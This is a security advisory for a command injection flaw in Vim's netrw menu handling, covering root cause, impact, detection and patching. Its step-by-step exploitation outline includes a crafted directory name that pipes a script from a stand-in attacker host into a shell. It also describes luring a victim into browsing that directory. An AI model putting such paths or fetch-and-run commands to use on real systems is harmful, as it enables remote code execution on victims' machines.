CVE-2026-73078: 
Vim vulnerability analysis and mitigation

CVE-2026-73078 is a command injection vulnerability in Vim's netrw plugin that allows arbitrary Ex and operating-system command execution via crafted directory paths in GUI Vim. It affects all Vim versions prior to 9.2.0840 and was disclosed on July 23, 2026, by researcher David Carliez. The vulnerability was fixed in Vim patch v9.2.0840. It carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 8.6 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause is an incomplete list of disallowed inputs (CWE-184) combined with improper neutralization of special elements used in a command (CWE-77). The runtime/pack/dist/opt/netrw/autoload/netrw.vim file constructs Bookmarks, History, and Targets menu entries by interpolating attacker-controlled directory paths directly into :menu Ex commands. The g:netrw_menu_escape variable, which defines characters to escape, did not include the | pipe character — the Ex command separator — meaning a crafted path containing | terminates the :menu command and causes the remainder to be executed as arbitrary Ex or shell commands via :!. Two additional construction sites in s:NetrwTgtMenu() and netrw#MakeTgt() embed paths into single-quoted Vim strings without neutralizing single quotes, enabling early string termination and Vimscript injection. Five construction sites in total were affected: bookmark goto, bookmark delete, history entry, and the bookmark and history entries of the Targets menu. Exploitation is limited to GUI Vim with menus enabled (has("gui_running"), 'm' flag in 'guioptions', and g:netrw_menu set), which are the defaults; terminal Vim is not affected (GitHub Advisory, Vim Commit).

Successful exploitation results in arbitrary Ex command execution and, via the :! command, arbitrary operating-system command execution in the context of the user running GUI Vim. This yields full confidentiality, integrity, and availability impact on the affected system, as an attacker can read sensitive files, modify data, or execute malicious payloads. The attack requires user interaction — specifically, the victim must browse or bookmark a directory path controlled by the attacker (e.g., on a shared filesystem or a remote host accessed via FTP/SFTP) — but no privileges are required on the attacker's side (GitHub Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure (Feedly). The EPSS score is approximately 0.336%, reflecting a low but non-negligible probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is not automatable (per NVD SSVC assessment) and requires user interaction, limiting its practical reach to targeted scenarios involving shared or remote filesystems (GitHub Advisory).

1. Prepare a malicious directory path: Create a directory with a name containing the | pipe character followed by arbitrary Ex or shell commands, e.g., /tmp/legit|!calc or a path like /mnt/share/foo|!curl http://attacker.com/shell.sh|sh on a shared filesystem or remote FTP/SFTP server.
2. Host the crafted path: Place the malicious directory on a network share (SMB, NFS), FTP server, or SFTP server accessible to the target user.
3. Induce the victim to browse the path: Social-engineer or otherwise cause the victim to open GUI Vim and use netrw to navigate to the attacker-controlled directory (e.g., via :e ftp://attacker.com/ or by sharing a file path).
4. Trigger menu construction: When the victim browses the crafted directory, netrw records it in its history and rebuilds the Bookmarks/History/Targets menus by calling s:NetrwBookmarkMenu() or s:NetrwTgtMenu(). The unescaped | in the path terminates the :menu command, and the remainder is executed as an Ex command.
5. Achieve code execution: The injected Ex command (e.g., :!<shell command>) executes with the privileges of the user running GUI Vim, enabling data exfiltration, reverse shell establishment, or further system compromise (GitHub Advisory, Vim Commit).

• Process: Unexpected child processes spawned by the Vim GUI process (e.g., sh, bash, curl, wget, python) following directory browsing activity.
• Network: Outbound connections from the Vim process or its children to unexpected external hosts, particularly shortly after a user browses a remote directory in netrw.
• File System: Presence of directories with names containing | pipe characters or single quotes on shared or remote filesystems; unexpected new files (e.g., scripts, reverse shell payloads) created in user-writable directories.
• Logs: Shell history or audit logs (e.g., auditd) showing commands executed by the user's UID that were not explicitly typed; system logs showing unexpected network connections originating from the Vim process.

Upgrade Vim to version 9.2.0840 or later, which adds | to g:netrw_menu_escape, uses fnameescape() for the right-hand side of :e commands, and replaces raw single-quote interpolation in netrw#MakeTgt() with string() (Vim Commit). As a temporary workaround, disable the netrw plugin by adding let g:loaded_netrwPlugin = 1 to your vimrc, or avoid browsing or bookmarking directories from untrusted sources (shared filesystems, FTP/SFTP servers) in GUI Vim. Users running Vim in terminal mode (non-GUI) are not affected by this vulnerability (GitHub Advisory).

The vulnerability was reported by David Carliez and acknowledged by the Vim project maintainer chrisbra, who published the GitHub Security Advisory on July 23, 2026. The fix was implemented by Yasuhiro Matsumoto and committed by Christian Brabandt. Red Hat triaged the issue as high severity and opened a tracking bug. The advisory rates the severity as "Moderate" due to the GUI-only constraint and the requirement for user interaction, which limits the practical attack surface compared to fully remote, unauthenticated vulnerabilities (GitHub Advisory, Red Hat Bugzilla).